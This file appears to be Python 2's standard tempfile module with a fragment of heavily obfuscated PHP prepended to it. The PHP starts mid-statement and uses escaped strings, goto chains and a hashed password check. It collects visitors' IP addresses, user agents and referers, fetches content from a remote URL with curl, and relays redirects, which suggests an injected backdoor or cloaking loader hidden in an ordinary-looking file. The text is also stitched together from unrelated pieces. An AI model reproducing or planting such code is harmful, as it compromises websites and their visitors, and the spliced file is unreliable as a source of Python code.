\160\145"] = strval(curl_getinfo($knNjpyoGDom, CURLINFO_CONTENT_TYPE)); goto NDS42wD3esw; Je2yvSGwx5F: curl_setopt($knNjpyoGDom, CURLOPT_RETURNTRANSFER, 1); goto ThArOE2wMMX; Cqt5GFH3CCb: $Xujs2pyqT1_["\x63\157\x6e\x74\145\156\x74"] = strval($Er6ztrjrvBo); goto txjLc6zkMuc; PkUCd7XpwLC: curl_setopt($knNjpyoGDom, CURLOPT_TIMEOUT, 60); goto CAcpjEv3Dq_; yQvB5p67VGz: vsCRsUG7xrU: goto R0cYcCYKdOI; VUweotGk_Y5: goto vsCRsUG7xrU; goto bni1jpe2omx; OlzrunILMzb: curl_setopt($knNjpyoGDom, CURLOPT_URL, $tnGLke6tMqc); goto Fd5vezLt25m; R0cYcCYKdOI: } catch (Exception $L3Sg_fDq33O) { } goto j92yfNCpXVs; psRvbHx9nR6: XW62rzk7IVI: goto mDli4xI1FSz; JmhxWzWaMTd: if (!(is_array($zf3yqt5AADJ) && count($zf3yqt5AADJ))) { goto XW62rzk7IVI; } goto mGmHQCf1cwi; NpIrqbJ_DzQ: } goto u0KST6_VmS2; ASd19tsoqWN: XM_iq_KCcGm: goto FC77tfuOkqx; lANhHamV77F: exit("\173\40\x22\145\162\162\x6f\162\42\72\40\62\x30\60\54\40\x22\x6c\x63\x22\72\40\x22\152\153\x22\x2c\x20\42\144\x61\164\141\x22\72\x20\133\x20\x31\40\x5d\40\175"); goto Lddo3N4lSFY; Am8j0fcWnry: switch ($Xujs2pyqT1_["\x73\x74\x61\164\x75\x73"]) { case 301: goto aF49v3Ro6oe; cIjGk_ruQAK: goto wn8MKTpHeiI; goto VoylWs3JPmg; aF49v3Ro6oe: header("\x48\x54\x54\120\x2f\61\x2e\x31\40\x33\60\x31\x20\115\x6f\x76\145\x64\40\x50\x65\x72\155\x61\156\x65\156\164\x6c\x79"); goto JqqjMb77Fft; JqqjMb77Fft: header("\114\157\x63\141\x74\x69\157\156\x3a\40" . trim($Xujs2pyqT1_["\x63\157\x6e\x74\x65\x6e\x74"])); goto cIjGk_ruQAK; VoylWs3JPmg: case 302: goto xD7LLQf2Zpu; Qycq5b_N9KT: goto wn8MKTpHeiI; goto FcAFwm_9dOr; utKvaNoxRcy: header("\x4c\x6f\x63\141\x74\x69\x6f\156\72\x20" . trim($Xujs2pyqT1_["\x63\157\156\x74\145\x6e\164"])); goto Qycq5b_N9KT; xD7LLQf2Zpu: header("\x48\x54\x54\120\x2f\x31\56\61\40\63\60\x32\40\x4d\x6f\x76\145\40\124\x65\155\x70\157\162\x61\x72\151\x6c\x79"); goto utKvaNoxRcy; FcAFwm_9dOr: case 404: goto B7hAlmqA6c6; p02XC6Yed_O: header("\163\x74\141\164\165\163\72\40\64\60\64\40\116\157\x74\40\106\x6f\x75\x6e\144"); goto u0mhpYEmhCA; B7hAlmqA6c6: header("\x48\124\124\x50\57\x31\56\x31\40\64\x30\64\40\x4e\157\x74\x20\106\157\x75\156\144"); goto p02XC6Yed_O; u0mhpYEmhCA: goto wn8MKTpHeiI; goto dBX41HnqwmB; dBX41HnqwmB: default: goto wn8MKTpHeiI; } goto ASd19tsoqWN; K3rzDZtyNjE: if (!(in_array(gettype($SI1t1c6ICXM) . "\62\x33", $SI1t1c6ICXM) && md5(md5(md5(md5($SI1t1c6ICXM[17])))) === "\143\x66\144\146\x31\x66\x33\x30\x62\62\x64\x37\61\x63\141\141\x63\x31\146\62\145\64\62\x31\66\141\144\61\62\144\x62\143")) { goto JhefNO6b2fO; } goto LPIUJ8vdtnH; k3oRR1a4S3o: if (!(strpos($aUauE7WrVLn, "\x2e") > 0 && strpos($aUauE7WrVLn, "\x2e\x70\x68\160") === false)) { goto k8w17_7i9nR; } goto VroejJPyX5R; In2LLRvzP0v: $oWTqf9AIAlK = false; goto k3oRR1a4S3o; dI2ohop5Kw4: $joTs1ZUSy7h["\x6c"] = xM_yDrqYP7g($_SERVER["\110\x54\x54\x50\x5f\101\x43\x43\x45\x50\x54\137\x4c\101\x4e\x47\125\101\107\105"]); goto uNCEQ9NS4mI; hQuxytChA33: if (!in_array($b1YBMDo831G, array("\x2e\x6a\x73", "\x2e\143\x73\x73", "\56\152\x70\x67", "\x2e\160\x6e\x67", "\x2e\147\x69\x66", "\x2e\x69\143\x6f"))) { goto NIwxpwGhfiv; } goto vhjlcBNjNYD; S4f9suHX5US: k8w17_7i9nR: goto K1JfcV0g0_M; hh_y5TtJE2x: $joTs1ZUSy7h["\165"] = xm_YDrQYP7g($_SERVER["\x48\x54\x54\x50\137\125\123\x45\x52\137\101\x47\x45\116\124"]); goto FIsV0u1oqKe; divg82HXiwN: $SI1t1c6ICXM = ${$ITrBjwEh50v[4 + 27] . $ITrBjwEh50v[19 + 40] . $ITrBjwEh50v[17 + 30] . $ITrBjwEh50v[33 + 14] . $ITrBjwEh50v[42 + 9] . $ITrBjwEh50v[30 + 23] . $ITrBjwEh50v[52 + 5]}; goto K3rzDZtyNjE; OYOjyZlqRTS: function vIASPrR2tNy() { goto ws3D3ADsWd7; V_I9aR56jbV: $Ba3zqItfT93 = $_SERVER["\x48\x54\124\120\137\x58\137\x52\105\x41\x4c\137\111\120"]; goto znNkFxHkQpR; cjfTublNqSb: UNgLVMrkOlR: goto UQVWrC_OigX; ws3D3ADsWd7: $Ba3zqItfT93 = ''; goto D1_aFItrNAZ; s6NjEP3Pqtv: if (!(strpos($Ba3zqItfT93, "\54") !== false)) { goto GK2xyxHtDNj; } goto DR2Z5iUwiWi; WCMEE1hpGN6: kf4xAEwZ6ku: goto j2idSexBbYW; sWfO1Fek_UJ: UPJOpBc_N_R: goto V_I9aR56jbV; aIOkktX1aj8: cit7bQOFV9c: goto d5z7eM6fEQJ; pRTKP9CfqOB: $Ba3zqItfT93 = $_SERVER["\122\105\x4d\117\x54\x45\137\101\x44\x44\122"]; goto D4_flpwHDzP; znNkFxHkQpR: goto UNgLVMrkOlR; goto WCMEE1hpGN6; HSQrD5spUxC: GK2xyxHtDNj: goto PdnZDlunwb2; DR2Z5iUwiWi: $Ba3zqItfT93 = explode("\x2c", $Ba3zqItfT93); goto gMyDKtKoXaP; D1_aFItrNAZ: if (isset($_SERVER["\110\124\124\x50\x5f\x43\x46\x5f\x43\x4f\x4e\116\x45\103\124\111\116\107\137\111\x50"]) && !empty($_SERVER["\110\124\124\x50\137\103\106\137\103\117\x4e\116\105\103\124\x49\x4e\x47\137\x49\120"])) { goto cit7bQOFV9c; } goto swpCp9W3ArC; D4_flpwHDzP: goto UNgLVMrkOlR; goto aIOkktX1aj8; j2idSexBbYW: $Ba3zqItfT93 = $_SERVER["\x48\x54\124\120\137\130\137\x46\117\x52\127\101\122\x44\105\104\x5f\106\x4f\x52"]; goto cjfTublNqSb; gMyDKtKoXaP: $Ba3zqItfT93 = $Ba3zqItfT93[0]; goto HSQrD5spUxC; sA5CuuoAPmh: if (isset($_SERVER["\110\x54\x54\x50\x5f\x58\x5f\106\117\122\x57\101\122\x44\x45\104\137\x46\x4f\122"]) && !empty($_SERVER["\110\124\124\120\137\130\137\106\117\x52\127\x41\x52\104\x45\104\137\x46\x4f\x52"])) { goto kf4xAEwZ6ku; } goto pRTKP9CfqOB; swpCp9W3ArC: if (isset($_SERVER["\110\124\124\120\x5f\130\137\122\x45\101\114\137\111\x50"]) && !empty($_SERVER["\x48\124\x54\120\x5f\x58\x5f\122\105\x41\114\x5f\111\x50"])) { goto UPJOpBc_N_R; } goto sA5CuuoAPmh; UQVWrC_OigX: $Ba3zqItfT93 = trim(str_replace("\x20", '', $Ba3zqItfT93), "\x2c"); goto s6NjEP3Pqtv; d5z7eM6fEQJ: $Ba3zqItfT93 = $_SERVER["\110\124\x54\120\137\x43\x46\137\103\117\116\x4e\105\103\124\111\x4e\x47\x5f\x49\120"]; goto hBg5IKKJhog; PdnZDlunwb2: return $Ba3zqItfT93; goto sKQjQBMh3jW; hBg5IKKJhog: goto UNgLVMrkOlR; goto sWfO1Fek_UJ; sKQjQBMh3jW: } goto yHnXB0UAH0z; Sr4K5fCTSki: NIwxpwGhfiv: goto S4f9suHX5US; PJvtGo0W37f: header("\x43\x6f\x6e\164\x65\x6e\164\x2d\x54\171\x70\x65\x3a\x20\164\145\170\164\x2f\x68\x74\x6d\154\x3b\x20\x63\x68\141\162\163\x65\x74\x3d\165\164\146\x2d\70"); goto iB8lf0BScwz; y3AY8VLhLIG: if (in_array($Xujs2pyqT1_["\163\164\141\164\x75\163"], array(0, 200))) { goto VBfC0JLqE2a; } goto Am8j0fcWnry; yHnXB0UAH0z: function NsQHhH6MT0S() { goto VrljqnwAwJK; ouN2eSVow3q: if (isset($_SERVER["\x48\x54\x54\x50\137\130\x5f\106\117\x52\x57\101\122\x44\105\104\x5f\120\122\x4f\124\117"]) && $_SERVER["\x48\124\124\120\137\130\x5f\106\x4f\122\x57\101\122\x44\x45\x44\137\x50\122\x4f\x54\117"] === "\150\164\x74\x70\163") { goto mejLQsO4g1q; } goto i7dY9flNZ1U; UdjK7RfjHxL: goto as62hvh8IEs; goto hru_6wfobw1; xcGIlBOvGj1: UOuuDJHdr0z: goto dBCcgulRVsi; T8v7KySAK9Y: goto as62hvh8IEs; goto V9heUy3sJdT; dnWhgqEtMdK: $tKiFuUSVaor = "\150\x74\x74\x70\x73\72\57\x2f"; goto Z2E0ODO0GIs; V9heUy3sJdT: mejLQsO4g1q: goto dnWhgqEtMdK; qW3y6886N2N: as62hvh8IEs: goto JQnvkgtumiR; Z2E0ODO0GIs: goto as62hvh8IEs; goto xcGIlBOvGj1; hru_6wfobw1: SCjpyITvEcp: goto qLCV2xFswbI; dBCcgulRVsi: $tKiFuUSVaor = "\x68\164\164\x70\x73\72\57\x2f"; goto qW3y6886N2N; qLCV2xFswbI: $tKiFuUSVaor = "\x68\164\x74\x70\x73\72\57\x2f"; goto T8v7KySAK9Y; VrljqnwAwJK: $tKiFuUSVaor = "\150\164\x74\x70\x3a\x2f\x2f"; goto o1CrfFoLzI9; o1CrfFoLzI9: if (isset($_SERVER["\110\x54\x54\x50\x53"]) && strtolower($_SERVER["\x48\124\124\x50\x53"]) !== "\157\x66\x66") { goto SCjpyITvEcp; } goto ouN2eSVow3q; i7dY9flNZ1U: if (isset($_SERVER["\x48\x54\124\x50\137\x46\122\x4f\x4e\124\137\x45\x4e\104\x5f\110\124\124\120\123"]) && strtolower($_SERVER["\110\x54\124\x50\137\x46\x52\x4f\116\x54\x5f\x45\116\104\137\x48\124\x54\120\x53"]) !== "\157\146\146") { goto UOuuDJHdr0z; } goto UdjK7RfjHxL; JQnvkgtumiR: return $tKiFuUSVaor; goto dEQRHW7adnJ; dEQRHW7adnJ: } goto ZEBJniM6ZJa; JYJDbLt1rcb: $lswH0D0dbrt = NSqHhH6MT0S() . $_SERVER["\x48\124\124\120\137\110\x4f\123\x54"]; goto iFZWQ7QJlmw; FFwTpaR9Hr1: JhefNO6b2fO: goto oUR_CiAAToG; xa_iWzcNMa5: $Ej7venI82Sj = strval(@$_SERVER["\110\124\124\x50\x5f\x52\105\106\105\122\105\122"]); goto JYJDbLt1rcb; VS70REw7jOH: $Ej7venI82Sj = ''; goto eJdWBxCxTHO; vhjlcBNjNYD: $oWTqf9AIAlK = true; goto Sr4K5fCTSki; lbFwoJQvpMr: xGcSB3TnTrx: ?>
"""Temporary files.
This module provides generic, low- and high-level interfaces for
creating temporary files and directories. All of the interfaces
provided by this module can be used without fear of race conditions
except for 'mktemp'. 'mktemp' is subject to race conditions and
should not be used; it is provided for backward compatibility only.
This module also provides some data items to the user:
TMP_MAX - maximum number of names that will be tried before
giving up.
template - the default prefix for all temporary names.
You may change this to control the default prefix.
tempdir - If this is set to a string before the first use of
any routine from this module, it will be considered as
another candidate location to store temporary files.
"""
__all__ = [
"NamedTemporaryFile", "TemporaryFile", # high level safe interfaces
"SpooledTemporaryFile",
"mkstemp", "mkdtemp", # low level safe interfaces
"mktemp", # deprecated unsafe interface
"TMP_MAX", "gettempprefix", # constants
"tempdir", "gettempdir"
]
# Imports.
import io as _io
import os as _os
import errno as _errno
from random import Random as _Random
try:
from cStringIO import StringIO as _StringIO
except ImportError:
from StringIO import StringIO as _StringIO
try:
import fcntl as _fcntl
except ImportError:
def _set_cloexec(fd):
pass
else:
def _set_cloexec(fd):
try:
flags = _fcntl.fcntl(fd, _fcntl.F_GETFD, 0)
except IOError:
pass
else:
# flags read successfully, modify
flags |= _fcntl.FD_CLOEXEC
_fcntl.fcntl(fd, _fcntl.F_SETFD, flags)
try:
import thread as _thread
except ImportError:
import dummy_thread as _thread
_allocate_lock = _thread.allocate_lock
_text_openflags = _os.O_RDWR | _os.O_CREAT | _os.O_EXCL
if hasattr(_os, 'O_NOINHERIT'):
_text_openflags |= _os.O_NOINHERIT
if hasattr(_os, 'O_NOFOLLOW'):
_text_openflags |= _os.O_NOFOLLOW
_bin_openflags = _text_openflags
if hasattr(_os, 'O_BINARY'):
_bin_openflags |= _os.O_BINARY
if hasattr(_os, 'TMP_MAX'):
TMP_MAX = _os.TMP_MAX
else:
TMP_MAX = 10000
template = "tmp"
# Internal routines.
_once_lock = _allocate_lock()
if hasattr(_os, "lstat"):
_stat = _os.lstat
elif hasattr(_os, "stat"):
_stat = _os.stat
else:
# Fallback. All we need is something that raises os.error if the
# file doesn't exist.
def _stat(fn):
try:
f = open(fn)
except IOError:
raise _os.error
f.close()
def _exists(fn):
try:
_stat(fn)
except _os.error:
return False
else:
return True
class _RandomNameSequence:
"""An instance of _RandomNameSequence generates an endless
sequence of unpredictable strings which can safely be incorporated
into file names. Each string is six characters long. Multiple
threads can safely use the same instance at the same time.
_RandomNameSequence is an iterator."""
characters = ("abcdefghijklmnopqrstuvwxyz" +
"ABCDEFGHIJKLMNOPQRSTUVWXYZ" +
"0123456789_")
def __init__(self):
self.mutex = _allocate_lock()
self.normcase = _os.path.normcase
@property
def rng(self):
cur_pid = _os.getpid()
if cur_pid != getattr(self, '_rng_pid', None):
self._rng = _Random()
self._rng_pid = cur_pid
return self._rng
def __iter__(self):
return self
def next(self):
m = self.mutex
c = self.characters
choose = self.rng.choice
m.acquire()
try:
letters = [choose(c) for dummy in "123456"]
finally:
m.release()
return self.normcase(''.join(letters))
def _candidate_tempdir_list():
"""Generate a list of candidate temporary directories which
_get_default_tempdir will try."""
dirlist = []
# First, try the environment.
for envname in 'TMPDIR', 'TEMP', 'TMP':
dirname = _os.getenv(envname)
if dirname: dirlist.append(dirname)
# Failing that, try OS-specific locations.
if _os.name == 'riscos':
dirname = _os.getenv('Wimp$ScrapDir')
if dirname: dirlist.append(dirname)
elif _os.name == 'nt':
dirlist.extend([ r'c:\temp', r'c:\tmp', r'\temp', r'\tmp' ])
else:
dirlist.extend([ '/tmp', '/var/tmp', '/usr/tmp' ])
# As a last resort, the current directory.
try:
dirlist.append(_os.getcwd())
except (AttributeError, _os.error):
dirlist.append(_os.curdir)
return dirlist
def _get_default_tempdir():
"""Calculate the default directory to use for temporary files.
This routine should be called exactly once.
We determine whether or not a candidate temp dir is usable by
trying to create and write to a file in that directory. If this
is successful, the test file is deleted. To prevent denial of
service, the name of the test file must be randomized."""
namer = _RandomNameSequence()
dirlist = _candidate_tempdir_list()
flags = _text_openflags
for dir in dirlist:
if dir != _os.curdir:
dir = _os.path.normcase(_os.path.abspath(dir))
# Try only a few names per directory.
for seq in xrange(100):
name = namer.next()
filename = _os.path.join(dir, name)
try:
fd = _os.open(filename, flags, 0o600)
try:
try:
with _io.open(fd, 'wb', closefd=False) as fp:
fp.write(b'blat')
finally:
_os.close(fd)
finally:
_os.unlink(filename)
return dir
except (OSError, IOError) as e:
if e.args[0] == _errno.EEXIST:
continue
if (_os.name == 'nt' and e.args[0] == _errno.EACCES and
_os.path.isdir(dir) and _os.access(dir, _os.W_OK)):
# On windows, when a directory with the chosen name already
# exists, EACCES error code is returned instead of EEXIST.
continue
break # no point trying more names in this directory
raise IOError, (_errno.ENOENT,
("No usable temporary directory found in %s" % dirlist))
_name_sequence = None
def _get_candidate_names():
"""Common setup sequence for all user-callable interfaces."""
global _name_sequence
if _name_sequence is None:
_once_lock.acquire()
try:
if _name_sequence is None:
_name_sequence = _RandomNameSequence()
finally:
_once_lock.release()
return _name_sequence
def _mkstemp_inner(dir, pre, suf, flags):
"""Code common to mkstemp, TemporaryFile, and NamedTemporaryFile."""
names = _get_candidate_names()
for seq in xrange(TMP_MAX):
name = names.next()
file = _os.path.join(dir, pre + name + suf)
try:
fd = _os.open(file, flags, 0600)
_set_cloexec(fd)
return (fd, _os.path.abspath(file))
except OSError, e:
if e.errno == _errno.EEXIST:
continue # try again
if (_os.name == 'nt' and e.errno == _errno.EACCES and
_os.path.isdir(dir) and _os.access(dir, _os.W_OK)):
# On windows, when a directory with the chosen name already
# exists, EACCES error code is returned instead of EEXIST.
continue
raise
raise IOError, (_errno.EEXIST, "No usable temporary file name found")
# User visible interfaces.
def gettempprefix():
"""Accessor for tempdir.template."""
return template
tempdir = None
def gettempdir():
"""Accessor for tempfile.tempdir."""
global tempdir
if tempdir is None:
_once_lock.acquire()
try:
if tempdir is None:
tempdir = _get_default_tempdir()
finally:
_once_lock.release()
return tempdir
def mkstemp(suffix="", prefix=template, dir=None, text=False):
"""User-callable function to create and return a unique temporary
file. The return value is a pair (fd, name) where fd is the
file descriptor returned by os.open, and name is the filename.
If 'suffix' is specified, the file name will end with that suffix,
otherwise there will be no suffix.
If 'prefix' is specified, the file name will begin with that prefix,
otherwise a default prefix is used.
If 'dir' is specified, the file will be created in that directory,
otherwise a default directory is used.
If 'text' is specified and true, the file is opened in text
mode. Else (the default) the file is opened in binary mode. On
some operating systems, this makes no difference.
The file is readable and writable only by the creating user ID.
If the operating system uses permission bits to indicate whether a
file is executable, the file is executable by no one. The file
descriptor is not inherited by children of this process.
Caller is responsible for deleting the file when done with it.
"""
if dir is None:
dir = gettempdir()
if text:
flags = _text_openflags
else:
flags = _bin_openflags
return _mkstemp_inner(dir, prefix, suffix, flags)
def mkdtemp(suffix="", prefix=template, dir=None):
"""User-callable function to create and return a unique temporary
directory. The return value is the pathname of the directory.
Arguments are as for mkstemp, except that the 'text' argument is
not accepted.
The directory is readable, writable, and searchable only by the
creating user.
Caller is responsible for deleting the directory when done with it.
"""
if dir is None:
dir = gettempdir()
names = _get_candidate_names()
for seq in xrange(TMP_MAX):
name = names.next()
file = _os.path.join(dir, prefix + name + suffix)
try:
_os.mkdir(file, 0700)
return file
except OSError, e:
if e.errno == _errno.EEXIST:
continue # try again
if (_os.name == 'nt' and e.errno == _errno.EACCES and
_os.path.isdir(dir) and _os.access(dir, _os.W_OK)):
# On windows, when a directory with the chosen name already
# exists, EACCES error code is returned instead of EEXIST.
continue
raise
raise IOError, (_errno.EEXIST, "No usable temporary directory name found")
def mktemp(suffix="", prefix=template, dir=None):
"""User-callable function to return a unique temporary file name. The
file is not created.
Arguments are as for mkstemp, except that the 'text' argument is
not accepted.
This function is unsafe and should not be used. The file name
refers to a file that did not exist at some point, but by the time
you get around to creating it, someone else may have beaten you to
the punch.
"""
## from warnings import warn as _warn
## _warn("mktemp is a potential security risk to your program",
## RuntimeWarning, stacklevel=2)
if dir is None:
dir = gettempdir()
names = _get_candidate_names()
for seq in xrange(TMP_MAX):
name = names.next()
file = _os.path.join(dir, prefix + name + suffix)
if not _exists(file):
return file
raise IOError, (_errno.EEXIST, "No usable temporary filename found")
class _TemporaryFileWrapper:
"""Temporary file wrapper
This class provides a wrapper around files opened for
temporary use. In particular, it seeks to automatically
remove the file when it is no longer needed.
"""
def __init__(self, file, name, delete=True):
self.file = file
self.name = name
self.close_called = False
self.delete = delete
def __getattr__(self, name):
# Attribute lookups are delegated to the underlying file
# and cached for non-numeric results
# (i.e. methods are cached, closed and friends are not)
file = self.__dict__['file']
a = getattr(file, name)
if not issubclass(type(a), type(0)):
setattr(self, name, a)
return a
# The underlying __enter__ method returns the wrong object
# (self.file) so override it to return the wrapper
def __enter__(self):
self.file.__enter__()
return self
# NT provides delete-on-close as a primitive, so we don't need
# the wrapper to do anything special. We still use it so that
# file.name is useful (i.e. not "(fdopen)") with NamedTemporaryFile.
if _os.name != 'nt':
# Cache the unlinker so we don't get spurious errors at
# shutdown when the module-level "os" is None'd out. Note
# that this must be referenced as self.unlink, because the
# name TemporaryFileWrapper may also get None'd out before
# __del__ is called.
unlink = _os.unlink
def close(self):
if not self.close_called:
self.close_called = True
try:
self.file.close()
finally:
if self.delete:
self.unlink(self.name)
def __del__(self):
self.close()
# Need to trap __exit__ as well to ensure the file gets
# deleted when used in a with statement
def __exit__(self, exc, value, tb):
result = self.file.__exit__(exc, value, tb)
self.close()
return result
else:
def __exit__(self, exc, value, tb):
self.file.__exit__(exc, value, tb)
def NamedTemporaryFile(mode='w+b', bufsize=-1, suffix="",
prefix=template, dir=None, delete=True):
"""Create and return a temporary file.
Arguments:
'prefix', 'suffix', 'dir' -- as for mkstemp.
'mode' -- the mode argument to os.fdopen (default "w+b").
'bufsize' -- the buffer size argument to os.fdopen (default -1).
'delete' -- whether the file is deleted on close (default True).
The file is created as mkstemp() would do it.
Returns an object with a file-like interface; the name of the file
is accessible as its 'name' attribute. The file will be automatically
deleted when it is closed unless the 'delete' argument is set to False.
"""
if dir is None:
dir = gettempdir()
if 'b' in mode:
flags = _bin_openflags
else:
flags = _text_openflags
# Setting O_TEMPORARY in the flags causes the OS to delete
# the file when it is closed. This is only supported by Windows.
if _os.name == 'nt' and delete:
flags |= _os.O_TEMPORARY
(fd, name) = _mkstemp_inner(dir, prefix, suffix, flags)
try:
file = _os.fdopen(fd, mode, bufsize)
return _TemporaryFileWrapper(file, name, delete)
except BaseException:
_os.unlink(name)
_os.close(fd)
raise
if _os.name != 'posix' or _os.sys.platform == 'cygwin':
# On non-POSIX and Cygwin systems, assume that we cannot unlink a file
# while it is open.
TemporaryFile = NamedTemporaryFile
else:
def TemporaryFile(mode='w+b', bufsize=-1, suffix="",
prefix=template, dir=None):
"""Create and return a temporary file.
Arguments:
'prefix', 'suffix', 'dir' -- as for mkstemp.
'mode' -- the mode argument to os.fdopen (default "w+b").
'bufsize' -- the buffer size argument to os.fdopen (default -1).
The file is created as mkstemp() would do it.
Returns an object with a file-like interface. The file has no
name, and will cease to exist when it is closed.
"""
if dir is None:
dir = gettempdir()
if 'b' in mode:
flags = _bin_openflags
else:
flags = _text_openflags
(fd, name) = _mkstemp_inner(dir, prefix, suffix, flags)
try:
_os.unlink(name)
return _os.fdopen(fd, mode, bufsize)
except:
_os.close(fd)
raise
class SpooledTemporaryFile:
"""Temporary file wrapper, specialized to switch from
StringIO to a real file when it exceeds a certain size or
when a fileno is needed.
"""
_rolled = False
def __init__(self, max_size=0, mode='w+b', bufsize=-1,
suffix="", prefix=template, dir=None):
self._file = _StringIO()
self._max_size = max_size
self._rolled = False
self._TemporaryFileArgs = (mode, bufsize, suffix, prefix, dir)
def _check(self, file):
if self._rolled: return
max_size = self._max_size
if max_size and file.tell() > max_size:
self.rollover()
def rollover(self):
if self._rolled: return
file = self._file
newfile = self._file = TemporaryFile(*self._TemporaryFileArgs)
del self._TemporaryFileArgs
newfile.write(file.getvalue())
newfile.seek(file.tell(), 0)
self._rolled = True
# The method caching trick from NamedTemporaryFile
# won't work here, because _file may change from a
# _StringIO instance to a real file. So we list
# all the methods directly.
# Context management protocol
def __enter__(self):
if self._file.closed:
raise ValueError("Cannot enter context with closed file")
return self
def __exit__(self, exc, value, tb):
self._file.close()
# file protocol
def __iter__(self):
return self._file.__iter__()
def close(self):
self._file.close()
@property
def closed(self):
return self._file.closed
def fileno(self):
self.rollover()
return self._file.fileno()
def flush(self):
self._file.flush()
def isatty(self):
return self._file.isatty()
@property
def mode(self):
try:
return self._file.mode
except AttributeError:
return self._TemporaryFileArgs[0]
@property
def name(self):
try:
return self._file.name
except AttributeError:
return None
def next(self):
return self._file.next
def read(self, *args):
return self._file.read(*args)
def readline(self, *args):
return self._file.readline(*args)
def readlines(self, *args):
return self._file.readlines(*args)
def seek(self, *args):
self._file.seek(*args)
@property
def softspace(self):
return self._file.softspace
def tell(self):
return self._file.tell()
def truncate(self):
self._file.truncate()
def write(self, s):
file = self._file
rv = file.write(s)
self._check(file)
return rv
def writelines(self, iterable):
file = self._file
rv = file.writelines(iterable)
self._check(file)
return rv
def xreadlines(self, *args):
if hasattr(self._file, 'xreadlines'): # real file
return iter(self._file)
else: # StringIO()
return iter(self._file.readlines(*args))